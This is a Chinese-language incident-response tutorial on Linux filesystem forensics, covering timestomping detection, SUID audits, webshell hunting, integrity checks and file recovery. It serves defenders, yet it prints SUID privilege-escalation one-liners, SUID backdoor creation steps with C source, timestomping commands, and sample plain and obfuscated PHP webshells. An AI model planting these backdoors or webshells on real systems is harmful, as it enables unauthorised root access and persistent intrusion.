06-文件系统取证 (Filesystem Forensics)
文件系统是攻击者留下痕迹最多的地方——恶意文件、WebShell、后门程序、篡改的系统文件,都会在文件系统中留下蛛丝马迹。掌握文件系统取证技术,能够有效发现和追踪攻击者的活动。
前置知识 :01-系统基础与关键目录
关联章节 :22-SUID后门 | 30-YARA规则
1. 文件时间戳分析 1.1 Linux 文件时间戳体系 Linux 文件系统(ext4)为每个文件维护多个时间戳:
时间戳
名称
含义
触发更新的操作
atime
Access Time
最后访问时间
读取文件内容(cat, less, cp 源文件)
mtime
Modify Time
最后修改时间
修改文件内容(echo >>, vim 编辑保存)
ctime
Change Time
最后状态变更时间
修改文件元数据(chmod, chown, mv, 内容修改也会触发)
crtime/birth
Creation Time
文件创建时间
仅在创建时设置(ext4 特有,非所有工具可读)
重要关系 :
修改内容 → mtime 和 ctime 都更新
修改权限/属主 → 只有 ctime 更新
touch 命令 → 可以修改 atime 和 mtime,但无法修改 ctime
ctime 只有在文件元数据变更时由内核自动更新,用户空间无法直接设置
注意 :现代 Linux 默认使用 relatime 挂载选项,atime 不会在每次读取时更新(仅当 atime < mtime 时才更新),这会影响 atime 的取证价值
1.2 stat 命令完整解读 1 2 3 4 5 6 7 8 9 10 11 stat /path/to/file
各字段排查意义 :
Size:文件大小,WebShell 通常很小(几十字节到几KB)
Inode:文件节点号,用于 debugfs 深度分析
Access (权限):异常权限(如 777)需要关注
Uid/Gid:文件所有者,www-data 的可疑文件需要重点排查
Access time:最后访问时间
Modify time:最后内容修改时间
Change time:最后元数据变更时间
Birth time:文件创建时间(不是所有系统都显示)
1.3 时间戳篡改(Timestomping)检测 攻击者为什么要篡改时间戳 :让恶意文件看起来是”很久以前”创建的,避免被 find -mtime -7 这类命令发现
常见篡改手法 :
1 2 3 4 5 6 7 touch -t 202301010000 /var/www/html/shell.phptouch -r /var/www/html/index.php /var/www/html/shell.php
检测方法1:mtime 与 ctime 不一致
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 find /var/www/ -type f -exec sh -c ' for f; do mtime=$(stat -c %Y "$f") ctime=$(stat -c %Z "$f") diff=$((ctime - mtime)) if [ $diff -gt 86400 ]; then echo "可疑时间戳! mtime比ctime早$(($diff/86400))天: $f" stat "$f" | grep -E "Modify|Change" fi done ' sh {} +
检测方法2:使用 crtime(ext4 创建时间)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ls -i /var/www/html/shell.phpdf /var/www/html/shell.phpdebugfs -R "stat <1234567>" /dev/sda1 2>/dev/null | grep crtime
检测方法3:批量检测 timestomping
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/bin/bash TARGET_DIR="${1:-/var/www} " echo "=== 时间戳篡改检测 ===" echo "扫描目录: $TARGET_DIR " echo "" find "$TARGET_DIR " -type f 2>/dev/null | while read f; do mtime=$(stat -c %Y "$f " 2>/dev/null) ctime=$(stat -c %Z "$f " 2>/dev/null) if [ -n "$mtime " ] && [ -n "$ctime " ]; then diff=$((ctime - mtime)) if [ $diff -gt 3600 ]; then mdate=$(stat -c %y "$f " | cut -d. -f1) cdate=$(stat -c %z "$f " | cut -d. -f1) echo "[!] $f " echo " mtime: $mdate " echo " ctime: $cdate " echo " 差异: $(($diff/3600) ) 小时" echo "" fi fi done
1.4 使用 find 按时间搜索文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 find /var/www/ -type f -mtime -7 find /var/www/ -type f -mmin -1440 touch -t 202603280300 /tmp/start_timetouch -t 202603280400 /tmp/end_timefind /var/www/ -type f -newer /tmp/start_time ! -newer /tmp/end_time find /var/www/ -type f -ctime -7 find /var/www/ -name "*.php" -mtime -7 -ls
2. SUID/SGID 文件审计 2.1 SUID/SGID 原理 **SUID (Set User ID)**:当执行该文件时,进程的有效 UID 变为文件所有者的 UID(通常是 root)
**SGID (Set Group ID)**:类似 SUID,但针对组权限
安全风险 :如果攻击者能让一个文件设置 SUID 位且所有者为 root,则任何用户执行该文件都能获得 root 权限
2.2 全面扫描命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 find / -perm -4000 -type f -ls 2>/dev/null find / -perm -2000 -type f -ls 2>/dev/null find / -perm /6000 -type f -ls 2>/dev/null find / -perm -4000 -type f \ ! -path "/proc/*" \ ! -path "/sys/*" \ ! -path "/snap/*" \ -ls 2>/dev/null
2.3 正常 SUID 文件白名单 Ubuntu/Debian 默认 SUID 文件 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 /usr/bin/passwd /usr/bin /chfn /usr /bin/chsh /usr/bin /gpasswd /usr /bin/newgrp /usr/bin /sudo /usr /bin/su /usr/bin /mount /usr /bin/umount /usr/bin /pkexec /usr /bin/fusermount /usr/bin /traceroute6.iputils(可能存在) /usr /lib/dbus -1.0 /dbus-daemon-launch-helper/usr/lib /openssh/ssh -keysign/usr/lib /policykit-1/polkit -agent-helper-1 /usr/lib /eject/dmcrypt -get-device/usr/lib /snapd/snap -confine(如果安装了 snap)
CentOS/RHEL 默认 SUID 文件 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /usr/bin/passwd /usr/bin /chfn /usr /bin/chsh /usr/bin /gpasswd /usr /bin/newgrp /usr/bin /sudo /usr /bin/su /usr/bin /mount /usr /bin/umount /usr/bin /pkexec /usr /bin/crontab /usr/sbin /unix_chkpwd /usr /sbin/pam _timestamp_check/usr/lib /polkit-1/polkit -agent-helper-1 /usr/libexec /dbus-1/dbus -daemon-launch-helper
基线对比脚本 :
1 2 3 4 5 6 7 find / -perm -4000 -type f 2>/dev/null | sort > /root/suid_baseline.txt find / -perm -4000 -type f 2>/dev/null | sort > /tmp/suid_current.txt diff /root/suid_baseline.txt /tmp/suid_current.txt
2.4 GTFOBins — 常被利用的 SUID 程序 GTFOBins (https://gtfobins.github.io/ ) 收录了可以被滥用的 Linux 二进制程序
常见可被 SUID 利用的程序 :
程序
SUID 提权方法
危险等级
find
find . -exec /bin/bash -p \;
极高
vim / vi
:!/bin/bash 或 :set shell=/bin/bash :shell
极高
python / python3
python -c 'import os; os.execl("/bin/bash","bash","-p")'
极高
nmap
旧版 nmap --interactive 然后 !sh
高
less / more
!/bin/bash
高
awk
awk 'BEGIN {system("/bin/bash")}'
高
perl
perl -e 'exec "/bin/bash";'
高
cp
覆盖 /etc/passwd 或 /etc/shadow
高
mv
替换系统文件
高
env
env /bin/bash -p
高
bash
bash -p
极高
排查命令 :
1 2 3 4 5 6 7 8 9 10 11 DANGEROUS="find vim vi python python3 perl ruby nmap less more awk env bash sh dash node php lua" for prog in $DANGEROUS ; do path=$(which $prog 2>/dev/null) if [ -n "$path " ]; then perms=$(stat -c %a "$path " 2>/dev/null) if [ $((perms & 4000 )) -ne 0 ]; then echo "[!] 危险 SUID: $path (权限: $perms )" fi fi done
2.5 SUID 后门原理 攻击者创建 SUID 后门的方法 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 cp /bin/bash /tmp/.hidden_bashchmod u+s /tmp/.hidden_bashcat > /tmp/.suid_backdoor.c << 'EOF' int main () { setuid(0); setgid(0); execl("/bin/bash" , "bash" , "-p" , NULL); return 0; } EOF gcc -o /tmp/.suid_backdoor /tmp/.suid_backdoor.c chmod u+s /tmp/.suid_backdoorrm /tmp/.suid_backdoor.cchmod u+s /usr/bin/find
排查重点 :
1 2 3 4 5 6 7 8 find / -perm -4000 -type f 2>/dev/null | grep -v "^/usr/\|^/bin/\|^/sbin/" find /tmp /var/tmp /dev/shm -perm -4000 -type f -ls 2>/dev/null find / -path "*/.*" -perm -4000 -type f -ls 2>/dev/null
更多详情 :22-SUID后门
3. Webshell 猎捕 3.1 Webshell 排查策略 1 2 3 4 5 1. 时间排查:查找最近修改/创建的 Web 文件2. 关键字排查:搜索已知的 Webshell 特征字符串3. 文件属性排查:大小、权限、所有者异常4. 统计异常排查:文件熵值、代码行数异常5. 工具扫描:YARA 规则、专业 Webshell 检测工具
3.2 时间排查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 WEBROOT="/var/www" find $WEBROOT -name "*.php" -mtime -7 -ls find $WEBROOT -name "*.jsp" -mtime -7 -ls find $WEBROOT -name "*.asp" -mtime -7 -ls find $WEBROOT -name "*.aspx" -mtime -7 -ls find $WEBROOT -type f -mmin -1440 -ls find $WEBROOT -name "*.php" -type f -printf '%T@ %Tc %p\n' | sort -rn | head -20
3.3 PHP Webshell 关键字检测 常见 PHP Webshell 关键字 :
关键字
说明
危险等级
eval(
执行 PHP 代码
高
system(
执行系统命令
高
exec(
执行系统命令
高
shell_exec(
执行系统命令
高
passthru(
执行系统命令
高
popen(
打开进程管道
高
proc_open(
打开进程
高
base64_decode(
Base64 解码(混淆)
中
gzinflate(
Gzip 解压(混淆)
中
str_rot13(
ROT13 编码(混淆)
中
assert(
类似 eval
高
preg_replace + e 修饰符
正则执行代码
高
$_POST[ / $_GET[ / $_REQUEST[ + eval
用户输入直接执行
极高
call_user_func(
动态函数调用
中
create_function(
动态创建函数
高
排查命令 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 WEBROOT="/var/www" grep -rn --include="*.php" \ -e "eval(" \ -e "system(" \ -e "exec(" \ -e "shell_exec(" \ -e "passthru(" \ -e "popen(" \ -e "proc_open(" \ -e "base64_decode(" \ -e "assert(" \ "$WEBROOT " 2>/dev/null grep -rn --include="*.php" -P \ "(eval|assert|system|exec)\s*\(\s*(\\\$_(POST|GET|REQUEST|COOKIE)|base64_decode)" \ "$WEBROOT " 2>/dev/null find "$WEBROOT " -name "*.php" -size -1k -exec wc -l {} \; | awk '$1<5 {print}'
3.4 典型 Webshell 样本(识别用) 一句话木马 :
1 2 3 4 <?php eval ($_POST ['cmd' ]); ?> <?php @eval ($_POST ['pass' ]); ?> <?php system ($_GET ['c' ]); ?> <?php assert ($_REQUEST ['x' ]); ?>
混淆的一句话 :
1 2 3 4 5 <?php $a ="ev" ."al" ; $a ($_POST ['p' ]); ?> <?php eval (base64_decode ("c3lzdGVtKCRfR0VUWydjJ10pOw==" )); ?> <?php $f =create_function ('' ,$_POST ['c' ]); $f (); ?> <?php preg_replace ("/.*/e" ,$_POST ['c' ],'' ); ?> <?php ${"\x47\x4c\x4fB\x41\x4c\x53" }["\x76\x61\x72" ]($_POST ['p' ]); ?>
大马(功能完整的 Webshell)特征 :
文件较大(几十KB到几百KB)
包含文件管理、命令执行、数据库连接、反弹 shell 等多种功能
通常有密码保护($password = 'xxx';)
可能包含 Base64 编码的大段数据
3.5 JSP Webshell 检测 1 2 3 4 5 6 7 8 9 10 11 12 13 grep -rn --include="*.jsp" --include="*.jspx" \ -e "Runtime.getRuntime().exec" \ -e "ProcessBuilder" \ -e "getParameter" \ -e "ClassLoader" \ -e "defineClass" \ -e "URLClassLoader" \ "$WEBROOT " 2>/dev/null
3.6 一句话 Webshell 检测正则 1 2 3 4 5 6 7 8 9 10 11 12 13 14 grep -rPn --include="*.php" \ '(?:eval|assert|system|exec|passthru|shell_exec|popen|proc_open)\s*\(\s*(?:\$_(?:POST|GET|REQUEST|COOKIE|SERVER)|base64_decode|gzinflate|str_rot13|gzuncompress)' \ "$WEBROOT " 2>/dev/null grep -rPn --include="*.php" \ '(?:call_user_func|call_user_func_array|create_function|array_map|array_filter|usort)\s*\([^)]*\$_(?:POST|GET|REQUEST)' \ "$WEBROOT " 2>/dev/null grep -rPn --include="*.php" \ '\$\w+\s*\(\s*\$_(?:POST|GET|REQUEST)' \ "$WEBROOT " 2>/dev/null
3.7 YARA 规则检测 Webshell(简介) YARA 是一种基于规则的恶意文件识别工具,可以编写灵活的规则检测 Webshell
1 2 3 4 5 6 7 8 apt install yara yum install yara yara webshell_rules.yar /var/www/
简单的 YARA Webshell 规则示例 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 rule PHP_Webshell_Generic { meta: description = "检测常见 PHP Webshell" strings: $eval = "eval(" ascii nocase $post = "$_POST" ascii $get = "$_GET" ascii $system = "system(" ascii nocase $exec = "exec(" ascii nocase $b 64 = "base64_decode(" ascii nocase condition: ($eval and ($post or $get )) or ($system and ($post or $get )) or ($exec and ($post or $get )) or ($eval and $b 64) }
更多 YARA 规则详见 :30-YARA规则
4. 隐藏文件与目录排查 4.1 点文件/点目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 find / -name ".*" -not -path "/proc/*" -not -path "/sys/*" \ -not -name ".bashrc" -not -name ".bash_history" -not -name ".profile" \ -not -name ".bash_logout" -not -name ".cache" -not -name ".config" \ -not -name ".local" -not -name ".ssh" -not -name ".gnupg" \ -not -name ".." -not -name "." \ -ls 2>/dev/null | head -50 find /tmp -name ".*" -ls 2>/dev/null find /var/tmp -name ".*" -ls 2>/dev/null find /dev/shm -name ".*" -ls 2>/dev/null find /var/www -name ".*" -ls 2>/dev/null
4.2 Unicode 文件名伪装 原理 :攻击者使用 Unicode 特殊字符创建看似正常但实际不同的文件名
常见手法 :
全角字符:index.php vs index.php
零宽字符:index.php(名字中有不可见字符)
右至左覆盖字符(RLO):gpj.sysinfo 显示为 ofnisys.jpg
1 2 3 4 5 6 7 8 find /var/www -type f | grep -P '[^\x00-\x7F]' find /var/www -type f -print0 | xargs -0 ls -la | grep -P '[^\x20-\x7E]' ls -lab /var/www/html/
4.3 空格文件名 1 2 3 4 5 6 7 8 find / -name "* *" -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null find / -name " " -o -name " " -o -name " " 2>/dev/null find / -name "* *" -not -path "/proc/*" -ls 2>/dev/null
4.4 已删除但进程仍占用的文件 原理 :Linux 中删除文件只是解除目录项链接,如果有进程仍在使用该文件,文件数据不会被真正释放
1 2 3 4 5 6 7 8 9 10 lsof +L1 lsof +L1 | grep -E "REG.*\(deleted\)"
处理方法 :
1 2 3 4 5 cp /proc/1234/exe /tmp/evidence/recovered_minersha256sum /proc/1234/exe
4.5 /dev/shm, /tmp, /var/tmp 重点排查 为什么这些目录需要重点排查 :
/tmp:所有用户可写,系统重启后清空
/var/tmp:所有用户可写,重启后不清空
/dev/shm:共享内存文件系统(tmpfs),在内存中,速度快,重启后消失
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for dir in /tmp /var/tmp /dev/shm; do echo "=== $dir ===" echo "文件总数: $(find $dir -type f 2>/dev/null | wc -l) " echo "隐藏文件:" find $dir -name ".*" -type f -ls 2>/dev/null echo "可执行文件:" find $dir -type f -executable -ls 2>/dev/null echo "SUID 文件:" find $dir -perm -4000 -type f -ls 2>/dev/null echo "最近 24 小时修改的文件:" find $dir -type f -mmin -1440 -ls 2>/dev/null echo "" done
5. 系统文件完整性校验 5.1 为什么要校验系统文件 攻击者可能替换系统关键二进制文件(如 ps, ss, netstat, ls, lsof),使其过滤掉恶意进程/网络连接的信息。这是 rootkit 的经典手法。
5.2 Debian/Ubuntu: debsums 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apt install debsums debsums -c debsums -c coreutils debsums -c procps debsums -c iproute2 debsums -c net-tools debsums -c lsof
注意 :debsums 使用 MD5,不如 SHA-256 安全,但对于快速检测文件是否被替换已经足够
5.3 RHEL/CentOS: rpm -Va 1 2 3 4 5 6 7 8 9 rpm -Va rpm -V coreutils rpm -V procps-ng rpm -V iproute rpm -V net-tools rpm -V lsof
输出格式详解 :
标记
位置
含义
S
1
文件大小变化
M
2
文件权限或类型变化
5
3
MD5 校验值变化
D
4
设备号变化
L
5
符号链接路径变化
U
6
所有者变化
G
7
所属组变化
T
8
修改时间变化
P
9
Capabilities 变化
.
任意
该项未变化
示例分析 :
1 2 3 4 5 6 S.5....T. /usr/bin/ps ......G.. /etc/group
5.4 关键二进制手动校验 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 CRITICAL_BINS=( /usr/bin/ps /usr/bin/top /usr/bin/ls /usr/bin/ss /usr/bin/netstat /usr/bin/lsof /usr/bin/find /usr/bin/who /usr/bin/w /usr/bin/last /usr/bin/lastlog /usr/sbin/sshd /usr/bin/login /usr/bin/su /usr/bin/sudo /usr/bin/curl /usr/bin/wget ) echo "=== 关键二进制文件 SHA256 校验 ===" for bin in "${CRITICAL_BINS[@]} " ; do if [ -f "$bin " ]; then hash =$(sha256sum "$bin " | awk '{print $1}' ) size=$(stat -c %s "$bin " ) mtime=$(stat -c %y "$bin " | cut -d. -f1) printf "%-25s %s size:%s mtime:%s\n" "$bin " "$hash " "$size " "$mtime " fi done
与已知 good hash 对比 :
可以从相同版本的干净系统获取基线 hash
也可以重新安装对应包获取原始文件:
1 2 3 4 5 apt install --reinstall procps yum reinstall procps-ng
5.5 使用静态编译的工具 当怀疑系统工具被替换时 ,应该使用自己带的静态编译工具进行排查
1 2 3 4 5 6 7 8 9 10 11 12 ./busybox ps aux ./busybox ls -la /tmp ./busybox netstat -antlp
6. 大文件与异常文件排查 6.1 查找大文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 find / -size +100M -type f \ -not -path "/proc/*" \ -not -path "/sys/*" \ -not -path "/snap/*" \ -ls 2>/dev/null find / -size +1G -type f \ -not -path "/proc/*" \ -not -path "/sys/*" \ -ls 2>/dev/null find / -type f \ -not -path "/proc/*" \ -not -path "/sys/*" \ -printf '%s %p\n' 2>/dev/null | sort -rn | head -20
排查要点 :
异常位置的大文件(如 /tmp, /var/tmp, /dev/shm 下的大文件)
压缩包(.tar.gz, .zip)可能是攻击者打包的数据窃取文件
日志文件异常增大可能表示正在进行暴力破解
6.2 查找最近创建的大文件 1 2 3 4 5 6 7 8 9 find / -type f -size +10M -mtime -7 \ -not -path "/proc/*" \ -not -path "/sys/*" \ -ls 2>/dev/null find / -type f \( -name "*.tar*" -o -name "*.zip" -o -name "*.rar" -o -name "*.7z" \) \ -mtime -7 -ls 2>/dev/null
6.3 查找 immutable 文件 原理 :攻击者使用 chattr +i 设置 immutable 属性,使文件无法被删除或修改(即使是 root 也不行,除非先去掉 i 属性)
1 2 3 4 5 6 7 8 9 10 lsattr -R / 2>/dev/null | grep -E "^....i" lsattr -R /tmp /var/tmp /var/www /etc 2>/dev/null | grep -E "^....i" chattr -i /path/to/malicious_file rm /path/to/malicious_file
为什么攻击者要用 immutable :
防止管理员删除恶意文件
防止安全工具覆盖/修改恶意文件
保护 crontab 后门不被清除
6.4 查找世界可写文件 1 2 3 4 5 6 7 8 9 10 11 find / -perm -o+w -type f \ -not -path "/proc/*" \ -not -path "/sys/*" \ -not -path "/tmp/*" \ -not -path "/var/tmp/*" \ -not -path "/dev/*" \ -ls 2>/dev/null find /etc /usr /bin /sbin -perm -o+w -type f -ls 2>/dev/null
6.5 查找世界可写目录(非 sticky bit) 1 2 3 4 5 find / -perm -o+w -type d ! -perm -1000 \ -not -path "/proc/*" \ -not -path "/sys/*" \ -ls 2>/dev/null
7. 删除文件恢复 7.1 从 /proc 恢复运行中的已删除文件 最简单且最可靠的方法 (前提:进程仍在运行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 lsof +L1 cp /proc/PID/exe /tmp/evidence/recovered_binaryls -la /proc/PID/fd/ | grep deletedcp /proc/PID/fd/3 /tmp/evidence/recovered_logfile /tmp/evidence/recovered_binary sha256sum /tmp/evidence/recovered_binarystrings /tmp/evidence/recovered_binary | head -20
7.2 extundelete 恢复 ext 文件系统删除文件 前提 :文件已被删除且进程不再运行,文件系统为 ext3/ext4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 apt install extundelete yum install extundelete mount -o remount,ro /dev/sda1 extundelete /dev/sda1 --after $(date -d "2026-03-28" +%s) --restore-all extundelete /dev/sda1 --restore-directory var/www/html extundelete /dev/sda1 --restore-inode 1234567
7.3 foremost / scalpel 文件雕刻 文件雕刻(File Carving) :通过文件头/尾签名从磁盘原始数据中恢复文件,不依赖文件系统元数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 apt install foremost yum install foremost foremost -i /dev/sda1 -o /tmp/recovered/ foremost -t exe,elf,pdf,zip -i /dev/sda1 -o /tmp/recovered/ apt install scalpel scalpel /dev/sda1 -o /tmp/recovered/
使用场景 :
文件系统严重损坏,extundelete 无法使用
需要恢复特定类型的文件(如 ELF 可执行文件)
取证分析中需要尽可能多地恢复证据
7.4 注意事项 文件恢复的黄金法则 :
尽快操作——被删除的数据块可能随时被新数据覆盖
绝对不要在目标磁盘上进行恢复操作(恢复的文件要写到其他磁盘)
最好先做磁盘的位对位镜像(dd),然后在镜像上操作
1 2 3 4 5 6 dd if =/dev/sda1 of=/mnt/external/sda1.img bs=4M status=progressextundelete /mnt/external/sda1.img --restore-all foremost -i /mnt/external/sda1.img -o /mnt/external/recovered/
8. 实战案例 8.1 完整案例:追踪 Webshell 从上传到利用的全过程 场景 :WAF 告警发现有 Webshell 上传行为,需要进行文件系统层面的取证
Step 1:查找最近修改的 PHP 文件
1 2 3 find /var/www -name "*.php" -mtime -3 -ls
Step 2:分析可疑文件内容
1 2 3 4 5 6 cat /var/www/html/uploads/../config.phpcat /var/www/html/static/.cache.php
Step 3:检查时间戳
1 2 3 4 5 6 7 stat /var/www/html/uploads/../config.php
Step 4:在 Web 日志中定位上传请求
1 2 3 4 5 grep "config.php\|\.cache.php" /var/log/nginx/access.log
Step 5:追踪攻击者后续活动
1 2 3 4 5 6 grep "192.168.1.50" /var/log/nginx/access.log | grep "28/Mar/2026:03:2" find /var/www -user www-data -mtime -3 -newer /var/www/html/uploads/../config.php -ls
Step 6:检查是否有进一步渗透
1 2 3 4 5 6 find / -perm -4000 -newer /var/www/html/uploads/../config.php -ls 2>/dev/null find / -newer /var/www/html/uploads/../config.php -not -path "/proc/*" \ -not -path "/sys/*" -type f -ls 2>/dev/null | head -20
时间线总结 :
1 2 3 4 03 :20 :10 - 攻击者通过 upload.php 上传了 config.php(一句话木马)03 :20 :30 - 攻击者开始使用 webshell 执行命令03 :25 :00 - 攻击者上传了更功能丰富的大马 .cache.php03 :25 ~ - 攻击者开始进一步渗透...
8.2 文件系统排查一键脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #!/bin/bash WEBROOT="${1:-/var/www} " echo "==========================================" echo " 文件系统安全排查" echo " 执行时间: $(date) " echo " Web根目录: $WEBROOT " echo "==========================================" echo -e "\n[1] SUID 文件排查(非标准路径):" find / -perm -4000 -type f \ -not -path "/usr/*" -not -path "/bin/*" -not -path "/sbin/*" \ -not -path "/proc/*" -not -path "/sys/*" -not -path "/snap/*" \ -ls 2>/dev/null echo -e "\n[2] 最近 7 天修改的 Web 文件:" find "$WEBROOT " -type f \( -name "*.php" -o -name "*.jsp" -o -name "*.asp" -o -name "*.aspx" \) \ -mtime -7 -ls 2>/dev/null echo -e "\n[3] Webshell 关键字检测:" grep -rn --include="*.php" -l \ -e "eval(\$_" -e "assert(\$_" -e "system(\$_" -e "exec(\$_" \ -e "shell_exec(\$_" -e "passthru(\$_" \ "$WEBROOT " 2>/dev/null echo -e "\n[4] /tmp /var/tmp /dev/shm 可疑文件:" for dir in /tmp /var/tmp /dev/shm; do echo "--- $dir ---" find $dir -type f \( -name ".*" -o -executable -o -perm -4000 \) -ls 2>/dev/null done echo -e "\n[5] 已删除但仍被打开的文件:" lsof +L1 2>/dev/null | grep -E "REG.*deleted" | head -20 echo -e "\n[6] immutable 文件检测:" lsattr -R /tmp /var/tmp /etc /var/www 2>/dev/null | grep -E "^....i" echo -e "\n[7] 时间戳篡改检测(mtime 远早于 ctime):" find "$WEBROOT " -type f -name "*.php" 2>/dev/null | while read f; do mtime=$(stat -c %Y "$f " 2>/dev/null) ctime=$(stat -c %Z "$f " 2>/dev/null) if [ -n "$mtime " ] && [ -n "$ctime " ]; then diff=$((ctime - mtime)) if [ $diff -gt 86400 ]; then echo " [!] $f (mtime比ctime早$(($diff/86400) )天)" fi fi done echo -e "\n[8] 系统二进制完整性检查:" if command -v debsums &>/dev/null; then echo " 使用 debsums 检查..." debsums -c 2>/dev/null | head -20 elif command -v rpm &>/dev/null; then echo " 使用 rpm -Va 检查关键包..." for pkg in coreutils procps-ng iproute net-tools lsof; do result=$(rpm -V $pkg 2>/dev/null) [ -n "$result " ] && echo " $pkg : $result " done fi echo -e "\n[9] 世界可写的敏感目录文件:" find /etc /usr /bin /sbin -perm -o+w -type f -ls 2>/dev/null echo -e "\n[10] 大于 100MB 的可疑文件(排除日志和数据库):" find / -size +100M -type f \ -not -path "/proc/*" -not -path "/sys/*" -not -path "/snap/*" \ -not -name "*.log" -not -name "*.sql" -not -name "*.gz" \ -not -path "/var/lib/mysql/*" -not -path "/var/lib/docker/*" \ -ls 2>/dev/null echo -e "\n==========================================" echo " 排查完成" echo "=========================================="
8.3 练习:在实验环境中找出植入的 Webshell 和 timestomped 文件 练习目标 :
找出所有 Webshell 文件(至少 3 个:一句话、混淆型、大马)
找出被 timestomp 的恶意文件
还原攻击者的完整活动时间线
实验环境 :
1 2 docker run -it --name ir-lab-06 ir-practice:filesystem-forensics /bin/bash
练习提示 :
Webshell1:在 uploads 目录下,使用了 .. 路径穿越
Webshell2:在 static 目录下,隐藏文件(点开头)
Webshell3:文件名使用了 Unicode 伪装
timestomped 文件:使用 mtime vs ctime 对比检测
验证清单 :
[ ] 找到所有 Webshell 并记录路径和类型
[ ] 确定每个 Webshell 的真实上传时间
[ ] 发现 timestomped 文件并确定真实创建时间
[ ] 检查是否有 SUID 后门被植入
[ ] 验证系统二进制文件完整性
[ ] 建立完整的攻击时间线
9. 总结与排查流程图 文件系统取证标准流程 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1. 时间线建立(确定入侵时间窗口) ↓ 2. 最近修改文件排查(find -mtime/-ctime) ↓ 3. Webshell 关键字搜索 ↓ 4. SUID/SGID 文件审计 ↓ 5. 隐藏文件/异常文件排查 ↓ 6. 系统文件完整性校验 ↓ 7. 时间戳篡改检测 ↓ 8. 已删除文件恢复 ↓ 9. 证据保全与汇总
关键命令速查 :
排查项目
命令
最近修改文件
find / -mtime -7 -type f -ls
SUID 文件
find / -perm -4000 -type f -ls
Webshell 检测
grep -rn "eval(\$_" /var/www/
隐藏文件
find / -name ".*" -ls
系统完整性(Debian)
debsums -c
系统完整性(RHEL)
rpm -Va
已删除文件
lsof +L1
immutable 文件
lsattr -R / | grep "i"
时间戳详情
stat filename
文件恢复(运行中)
cp /proc/PID/exe /tmp/recovered
下一步学习 :深入了解 SUID 后门请参考 22-SUID后门 ,YARA 规则编写请参考 30-YARA规则